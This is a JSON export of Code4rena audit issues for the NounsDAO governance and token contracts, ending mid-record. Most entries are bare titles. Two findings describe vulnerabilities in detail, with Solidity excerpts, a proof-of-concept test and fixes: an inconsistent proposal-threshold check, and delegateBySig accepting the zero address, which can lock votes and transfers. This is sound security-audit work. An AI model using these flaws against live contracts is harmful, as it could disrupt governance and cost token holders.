"https://github.com/code-423n4/2022-08-nounsdao-findings/issues/263", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-08-nounsdao-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-08-nounsdao-findings/issues/261", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-08-nounsdao-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-08-nounsdao-findings/issues/260", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-08-nounsdao-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-08-nounsdao-findings/issues/258", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-08-nounsdao-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-08-nounsdao-findings/issues/256", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-08-nounsdao-findings", "body": "Gas Optimizations"}, {"title": "User A cannot cancel User B's proposal when User B's prior number of votes at relevant block is same as proposal threshold, which contradicts the fact that User B actually cannot create the proposal when the prior number of votes is same as proposal threshold", "html_url": "https://github.com/code-423n4/2022-08-nounsdao-findings/issues/255", "labels": ["bug", "2 (Med Risk)", "sponsor confirmed"], "target": "2022-08-nounsdao-findings", "body": "# Lines of code https://github.com/code-423n4/2022-08-nounsdao/blob/main/contracts/governance/NounsDAOLogicV2.sol#L184-L279 https://github.com/code-423n4/2022-08-nounsdao/blob/main/contracts/governance/NounsDAOLogicV2.sol#L346-L368 # Vulnerability details ## Impact When User B calls the following `propose` function for creating a proposal, it checks that User B's prior number of votes at the relevant block is larger than the proposal threshold through executing `nouns.getPriorVotes(msg.sender, block.number - 1) > temp.proposalThreshold`. This means that User B cannot create the proposal when the prior number of votes and the proposal threshold are the same. https://github.com/code-423n4/2022-08-nounsdao/blob/main/contracts/governance/NounsDAOLogicV2.sol#L184-L279 ```solidity function propose( address[] memory targets, uint256[] memory values, string[] memory signatures, bytes[] memory calldatas, string memory description ) public returns (uint256) { ProposalTemp memory temp; temp.totalSupply = nouns.totalSupply(); temp.proposalThreshold = bps2Uint(proposalThresholdBPS, temp.totalSupply); require( nouns.getPriorVotes(msg.sender, block.number - 1) > temp.proposalThreshold, 'NounsDAO::propose: proposer votes below proposal threshold' ); require( targets.length == values.length && targets.length == signatures.length && targets.length == calldatas.length, 'NounsDAO::propose: proposal function information arity mismatch' ); require(targets.length != 0, 'NounsDAO::propose: must provide actions'); require(targets.length <= proposalMaxOperations, 'NounsDAO::propose: too many actions'); temp.latestProposalId = latestProposalIds[msg.sender]; if (temp.latestProposalId != 0) { ProposalState proposersLatestProposalState = state(temp.latestProposalId); require( proposersLatestProposalState != ProposalState.Active, 'NounsDAO::propose: one live proposal per proposer, found an already active proposal' ); require( proposersLatestProposalState != ProposalState.Pending, 'NounsDAO::propose: one live proposal per proposer, found an already pending proposal' ); } temp.startBlock = block.number + votingDelay; temp.endBlock = temp.startBlock + votingPeriod; proposalCount++; Proposal storage newProposal = _proposals[proposalCount]; newProposal.id = proposalCount; newProposal.proposer = msg.sender; newProposal.proposalThreshold = temp.proposalThreshold; newProposal.eta = 0; newProposal.targets = targets; newProposal.values = values; newProposal.signatures = signatures; newProposal.calldatas = calldatas; newProposal.startBlock = temp.startBlock; newProposal.endBlock = temp.endBlock; newProposal.forVotes = 0; newProposal.againstVotes = 0; newProposal.abstainVotes = 0; newProposal.canceled = false; newProposal.executed = false; newProposal.vetoed = false; newProposal.totalSupply = temp.totalSupply; newProposal.creationBlock = block.number; latestProposalIds[newProposal.proposer] = newProposal.id; /// @notice Maintains backwards compatibility with GovernorBravo events emit ProposalCreated( newProposal.id, msg.sender, targets, values, signatures, calldatas, newProposal.startBlock, newProposal.endBlock, description ); /// @notice Updated event with `proposalThreshold` and `minQuorumVotes` /// @notice `minQuorumVotes` is always zero since V2 introduces dynamic quorum with checkpoints emit ProposalCreatedWithRequirements( newProposal.id, msg.sender, targets, values, signatures, calldatas, newProposal.startBlock, newProposal.endBlock, newProposal.proposalThreshold, minQuorumVotes(), description ); return newProposal.id; } ``` After User B's proposal is created, User A can call the following `cancel` function to cancel it. When calling `cancel`, it checks that User B's prior number of votes at the relevant block is less than the proposal threshold through executing `nouns.getPriorVotes(proposal.proposer, block.number - 1) < proposal.proposalThreshold`. When User B's prior number of votes and the proposal threshold are the same, User A cannot cancel this proposal of User B. However, this contradicts the fact User B actually cannot create this proposal when the same condition holds true. In other words, if User B cannot create this proposal when the prior number of votes and the proposal threshold are the same, User A should be able to cancel User B's proposal under the same condition but it is not true. The functionality for canceling User B's proposal in this situation becomes unavailable for User A. https://github.com/code-423n4/2022-08-nounsdao/blob/main/contracts/governance/NounsDAOLogicV2.sol#L346-L368 ```solidity function cancel(uint256 proposalId) external { require(state(proposalId) != ProposalState.Executed, 'NounsDAO::cancel: cannot cancel executed proposal'); Proposal storage proposal = _proposals[proposalId]; require( msg.sender == proposal.proposer || nouns.getPriorVotes(proposal.proposer, block.number - 1) < proposal.proposalThreshold, 'NounsDAO::cancel: proposer above threshold' ); proposal.canceled = true; for (uint256 i = 0; i < proposal.targets.length; i++) { timelock.cancelTransaction( proposal.targets[i], proposal.values[i], proposal.signatures[i], proposal.calldatas[i], proposal.eta ); } emit ProposalCanceled(proposalId); } ``` ## Proof of Concept Please append the following test in the `NounsDAOV2#inflationHandling` `describe` block in `test\\governance\\NounsDAO\\V2\\inflationHandling.test.ts`. This test should pass to demonstrate the described scenario. ```typescript it(\"User A cannot cancel User B's proposal when User B's prior number of votes at relevant block is same as proposal threshold, which contradicts the fact that User B actually cannot create the proposal when the prior number of votes is same as proposal threshold\", async () => { // account1 has 3 tokens at the beginning // account1 gains 2 more to own 5 tokens in total await token.transferFrom(deployer.address, account1.address, 11); await token.transferFrom(deployer.address, account1.address, 12); await mineBlock(); // account1 cannot create a proposal when owning 5 tokens in total await expect( gov.connect(account1).propose(targets, values, signatures, callDatas, 'do nothing'), ).to.be.revertedWith('NounsDAO::propose: proposer votes below proposal threshold'); // account1 gains 1 more to own 6 tokens in total await token.transferFrom(deployer.address, account1.address, 13); await mineBlock(); // account1 can create a proposal when owning 6 tokens in total await gov.connect(account1).propose(targets, values, signatures, callDatas, 'do nothing'); const proposalId = await gov.latestProposalIds(account1.address); expect(await gov.state(proposalId)).to.equal(0); // other user cannot cancel account1's proposal at this moment await expect( gov.cancel(proposalId, {gasLimit: 1e6}) ).to.be.revertedWith('NounsDAO::cancel: proposer above threshold'); // account1 removes 1 token to own 5 tokens in total await token.connect(account1).transferFrom(account1.address, deployer.address, 13); await mineBlock(); // other user still cannot cancel account1's proposal when account1 owns 5 tokens in total // this contradicts the fact that account1 cannot create a proposal when owning 5 tokens in total await expect( gov.cancel(proposalId, {gasLimit: 1e6}) ).to.be.revertedWith('NounsDAO::cancel: proposer above threshold'); // account1 removes another token to own 4 tokens in total await token.connect(account1).transferFrom(account1.address, deployer.address, 12); await mineBlock(); // other user can now cancel account1's proposal when account1 owns 4 tokens in total await gov.cancel(proposalId, {gasLimit: 1e6}) expect(await gov.state(proposalId)).to.equal(2); }); ``` ## Tools Used VSCode ## Recommended Mitigation Steps https://github.com/code-423n4/2022-08-nounsdao/blob/main/contracts/governance/NounsDAOLogicV2.sol#L197-L200 can be changed to the following code. ```solidity require( nouns.getPriorVotes(msg.sender, block.number - 1) >= temp.proposalThreshold, 'NounsDAO::propose: proposer votes below proposal threshold' ); ``` or https://github.com/code-423n4/2022-08-nounsdao/blob/main/contracts/governance/NounsDAOLogicV2.sol#L350-L354 can be changed to the following code. ```solidity require( msg.sender == proposal.proposer || nouns.getPriorVotes(proposal.proposer, block.number - 1) <= proposal.proposalThreshold, 'NounsDAO::cancel: proposer above threshold' ); ``` but not both."}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-08-nounsdao-findings/issues/253", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-08-nounsdao-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-08-nounsdao-findings/issues/250", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-08-nounsdao-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-08-nounsdao-findings/issues/248", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-08-nounsdao-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-08-nounsdao-findings/issues/243", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-08-nounsdao-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-08-nounsdao-findings/issues/240", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-08-nounsdao-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-08-nounsdao-findings/issues/239", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-08-nounsdao-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-08-nounsdao-findings/issues/238", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-08-nounsdao-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-08-nounsdao-findings/issues/237", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-08-nounsdao-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-08-nounsdao-findings/issues/234", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-08-nounsdao-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-08-nounsdao-findings/issues/233", "labels": ["bug", "G (Gas Optimization)", "edited-by-warden"], "target": "2022-08-nounsdao-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-08-nounsdao-findings/issues/231", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-08-nounsdao-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-08-nounsdao-findings/issues/228", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-08-nounsdao-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-08-nounsdao-findings/issues/227", "labels": ["bug", "G (Gas Optimization)", "old-submission-method"], "target": "2022-08-nounsdao-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-08-nounsdao-findings/issues/225", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-08-nounsdao-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-08-nounsdao-findings/issues/222", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-08-nounsdao-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-08-nounsdao-findings/issues/221", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-08-nounsdao-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-08-nounsdao-findings/issues/220", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-08-nounsdao-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-08-nounsdao-findings/issues/219", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-08-nounsdao-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-08-nounsdao-findings/issues/218", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-08-nounsdao-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-08-nounsdao-findings/issues/217", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-08-nounsdao-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-08-nounsdao-findings/issues/216", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-08-nounsdao-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-08-nounsdao-findings/issues/215", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-08-nounsdao-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-08-nounsdao-findings/issues/213", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-08-nounsdao-findings", "body": "QA Report"}, {"title": "_setVetoer() does not use a 2 step procedure despite it being a critical operation.", "html_url": "https://github.com/code-423n4/2022-08-nounsdao-findings/issues/211", "labels": ["bug", "QA (Quality Assurance)", "sponsor disputed"], "target": "2022-08-nounsdao-findings", "body": "_setVetoer() does not use a 2 step procedure despite it being a critical operation."}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-08-nounsdao-findings/issues/210", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-08-nounsdao-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-08-nounsdao-findings/issues/209", "labels": ["bug", "G (Gas Optimization)", "old-submission-method"], "target": "2022-08-nounsdao-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-08-nounsdao-findings/issues/208", "labels": ["bug", "QA (Quality Assurance)", "old-submission-method"], "target": "2022-08-nounsdao-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-08-nounsdao-findings/issues/206", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-08-nounsdao-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-08-nounsdao-findings/issues/204", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-08-nounsdao-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-08-nounsdao-findings/issues/202", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-08-nounsdao-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-08-nounsdao-findings/issues/201", "labels": ["bug", "QA (Quality Assurance)", "edited-by-warden"], "target": "2022-08-nounsdao-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-08-nounsdao-findings/issues/200", "labels": ["bug", "G (Gas Optimization)", "edited-by-warden"], "target": "2022-08-nounsdao-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-08-nounsdao-findings/issues/197", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-08-nounsdao-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-08-nounsdao-findings/issues/196", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-08-nounsdao-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-08-nounsdao-findings/issues/194", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-08-nounsdao-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-08-nounsdao-findings/issues/193", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-08-nounsdao-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-08-nounsdao-findings/issues/192", "labels": ["bug", "QA (Quality Assurance)", "edited-by-warden"], "target": "2022-08-nounsdao-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-08-nounsdao-findings/issues/191", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-08-nounsdao-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-08-nounsdao-findings/issues/190", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-08-nounsdao-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-08-nounsdao-findings/issues/187", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-08-nounsdao-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-08-nounsdao-findings/issues/186", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-08-nounsdao-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-08-nounsdao-findings/issues/185", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-08-nounsdao-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-08-nounsdao-findings/issues/181", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-08-nounsdao-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-08-nounsdao-findings/issues/180", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-08-nounsdao-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-08-nounsdao-findings/issues/179", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-08-nounsdao-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-08-nounsdao-findings/issues/177", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-08-nounsdao-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-08-nounsdao-findings/issues/176", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-08-nounsdao-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-08-nounsdao-findings/issues/175", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-08-nounsdao-findings", "body": "Gas Optimizations"}, {"title": "Voters can burn large amounts of Ether by submitting votes with long reason strings", "html_url": "https://github.com/code-423n4/2022-08-nounsdao-findings/issues/174", "labels": ["bug", "2 (Med Risk)", "disagree with severity"], "target": "2022-08-nounsdao-findings", "body": "Voters can burn large amounts of Ether by submitting votes with long reason strings"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-08-nounsdao-findings/issues/172", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-08-nounsdao-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-08-nounsdao-findings/issues/169", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-08-nounsdao-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-08-nounsdao-findings/issues/168", "labels": ["bug", "G (Gas Optimization)", "edited-by-warden"], "target": "2022-08-nounsdao-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-08-nounsdao-findings/issues/167", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-08-nounsdao-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-08-nounsdao-findings/issues/166", "labels": ["bug", "QA (Quality Assurance)", "old-submission-method"], "target": "2022-08-nounsdao-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-08-nounsdao-findings/issues/165", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-08-nounsdao-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-08-nounsdao-findings/issues/164", "labels": ["bug", "G (Gas Optimization)", "old-submission-method"], "target": "2022-08-nounsdao-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-08-nounsdao-findings/issues/162", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-08-nounsdao-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-08-nounsdao-findings/issues/161", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-08-nounsdao-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-08-nounsdao-findings/issues/159", "labels": ["bug", "G (Gas Optimization)", "edited-by-warden"], "target": "2022-08-nounsdao-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-08-nounsdao-findings/issues/158", "labels": ["bug", "G (Gas Optimization)", "old-submission-method"], "target": "2022-08-nounsdao-findings", "body": "Gas Optimizations"}, {"title": "ERC721Checkpointable: delegateBySig allows the user to vote to address 0, which causes the user to permanently lose his vote and cannot transfer his NFT.", "html_url": "https://github.com/code-423n4/2022-08-nounsdao-findings/issues/157", "labels": ["bug", "3 (High Risk)", "sponsor confirmed"], "target": "2022-08-nounsdao-findings", "body": "# Lines of code https://github.com/code-423n4/2022-08-nounsdao/blob/45411325ec14c6d747b999a40367d3c5109b5a89/contracts/base/ERC721Checkpointable.sol#L126-L144 # Vulnerability details ## Impact In the ERC721Checkpointable contract, when the user votes with the delegate function, the delegatee will not be address 0. ``` function delegate(address delegatee) public { if (delegatee == address(0)) delegatee = msg.sender; return _delegate(msg.sender, delegatee); } ``` However, there is no such restriction in the delegateBySig function, which allows the user to vote to address 0. ``` function delegateBySig( address delegatee, uint256 nonce, uint256 expiry, uint8 v, bytes32 r, bytes32 s ) public { bytes32 domainSeparator = keccak256( abi.encode(DOMAIN_TYPEHASH, keccak256(bytes(name())), getChainId(), address(this)) ); bytes32 structHash = keccak256(abi.encode(DELEGATION_TYPEHASH, delegatee, nonce, expiry)); bytes32 digest = keccak256(abi.encodePacked('\\x19\\x01', domainSeparator, structHash)); address signatory = ecrecover(digest, v, r, s); require(signatory != address(0), 'ERC721Checkpointable::delegateBySig: invalid signature'); require(nonce == nonces[signatory]++, 'ERC721Checkpointable::delegateBySig: invalid nonce'); require(block.timestamp <= expiry, 'ERC721Checkpointable::delegateBySig: signature expired'); return _delegate(signatory, delegatee); } ``` If user A votes to address 0 in the delegateBySig function, _delegates[A] will be address 0, but the delegates function will return the address of user A and getCurrentVotes(A) will return 0. ``` function _delegate(address delegator, address delegatee) internal { /// @notice differs from `_delegate()` in `Comp.sol` to use `delegates` override method to simulate auto-delegation address currentDelegate = delegates(delegator); _delegates[delegator] = delegatee; ... function delegates(address delegator) public view returns (address) { address current = _delegates[delegator]; return current == address(0) ? delegator : current; } ``` Later, if user A votes to another address or transfers NFT, the _moveDelegates function will fail due to overflow, which makes user A lose votes forever and cannot transfer NFT. ``` function _moveDelegates( address srcRep, address dstRep, uint96 amount ) internal { if (srcRep != dstRep && amount > 0) { if (srcRep != address(0)) { uint32 srcRepNum = numCheckpoints[srcRep]; uint96 srcRepOld = srcRepNum > 0 ? checkpoints[srcRep][srcRepNum - 1].votes : 0; uint96 srcRepNew = sub96(srcRepOld, amount, 'ERC721Checkpointable::_moveDelegates: amount underflows'); // auditor : overflow here _writeCheckpoint(srcRep, srcRepNum, srcRepOld, srcRepNew); } ``` On the other hand, since the burn function also fails, this can also be used to prevent the NFT from being burned by the minter ``` function burn(uint256 nounId) public override onlyMinter { _burn(nounId); emit NounBurned(nounId); } ... function _burn(uint256 tokenId) internal virtual { address owner = ERC721.ownerOf(tokenId); _beforeTokenTransfer(owner, address(0), tokenId); ... function _beforeTokenTransfer( address from, address to, uint256 tokenId ) internal override { super._beforeTokenTransfer(from, to, tokenId); /// @notice Differs from `_transferTokens()` to use `delegates` override method to simulate auto-delegation _moveDelegates(delegates(from), delegates(to), 1); } ``` ## Proof of Concept https://github.com/code-423n4/2022-08-nounsdao/blob/45411325ec14c6d747b999a40367d3c5109b5a89/contracts/base/ERC721Checkpointable.sol#L126-L144 https://github.com/code-423n4/2022-08-nounsdao/blob/45411325ec14c6d747b999a40367d3c5109b5a89/contracts/base/ERC721Checkpointable.sol#L88-L91 https://github.com/code-423n4/2022-08-nounsdao/blob/45411325ec14c6d747b999a40367d3c5109b5a89/contracts/base/ERC721Checkpointable.sol#L97-L106 https://github.com/code-423n4/2022-08-nounsdao/blob/45411325ec14c6d747b999a40367d3c5109b5a89/contracts/base/ERC721Checkpointable.sol#L197-L208 ## Tools Used None ## Recommended Mitigation Steps Consider requiring in the delegateBySig function that delegatee cannot be address 0. ```diff function delegateBySig( address delegatee, uint256 nonce, uint256 expiry, uint8 v, bytes32 r, bytes32 s ) public { + require(delegatee != address(0)); ```"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-08-nounsdao-findings/issues/154", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-08-nounsdao-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-08-nounsdao-findings/issues/153", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-08-nounsdao-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-08-nounsdao-findings/issues/152", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-08-nounsdao-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-08-nounsdao-findings/issues/151", "labels": ["bug", "QA (Quality Assurance)", "old-submission-method"], "target": "2022-08-nounsdao-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-08-nounsdao-findings/issues/149", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-08-nounsdao-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-08-nounsdao-findings/issues/146", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-08-nounsdao-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-08-nounsdao-findings/issues/145", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-08-nounsdao-findings", "body": "Gas Optimizations"}, {"title": "Execution not handling returned data", "html_url": "https://github.com/code-423n4/2022-08-nounsdao-findings/issues/143", "labels": ["bug", "disagree with severity", "QA (Quality Assurance)", "old-submission-method"], "target": "2022-08-nounsdao-findings", "body": "Execution not handling returned data"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-08-nounsdao-findings/issues/139", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-08-nounsdao-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-08-nounsdao-findings/issues/137", "labels": ["bug", "QA (Quality Assurance)", "old-submission-method"], "target": "2022-08-nounsdao-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-08-nounsdao-findings/issues/136", "labels": ["bug", "G (Gas Optimization)", "old-submission-method"], "target": "2022-08-nounsdao-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-08-nounsdao-findings/issues/135", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-08-nounsdao-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-08-nounsdao-findings/issues/134", "labels": ["bug", "QA (Quality Assurance)", "edited-by-warden"], "target": "2022-08-nounsdao-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-08-nounsdao-findings/issues/127", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-08-nounsdao-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-08-nounsdao-findings/issues/126", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-08-nounsdao-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-08-nounsdao-findings/issues/125", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-08-nounsdao-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-08-nounsdao-findings/issues/124", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-08-nounsdao-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-08-nounsdao-findings/issues/120", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-08-nounsdao-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-08-nounsdao-findings/issues/119", "labels": ["bug", "QA (Quality Assurance)", "edited-by-warden"], "target": "2022-08-nounsdao-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-08-nounsdao-findings/issues/115", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-08-nounsdao-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-08-nounsdao-findings/issues/113", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-08-nounsdao-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-08-nounsdao-findings/issues/112", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-08-nounsdao-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-08-nounsdao-findings/issues/111", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-08-nounsdao-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-08-nounsdao-findings/issues/109", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-08-nounsdao-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-08-nounsdao-findings/issues/108", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-08-nounsdao-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-08-nounsdao-findings/issues/107", "labels": ["bug", "QA (Quality 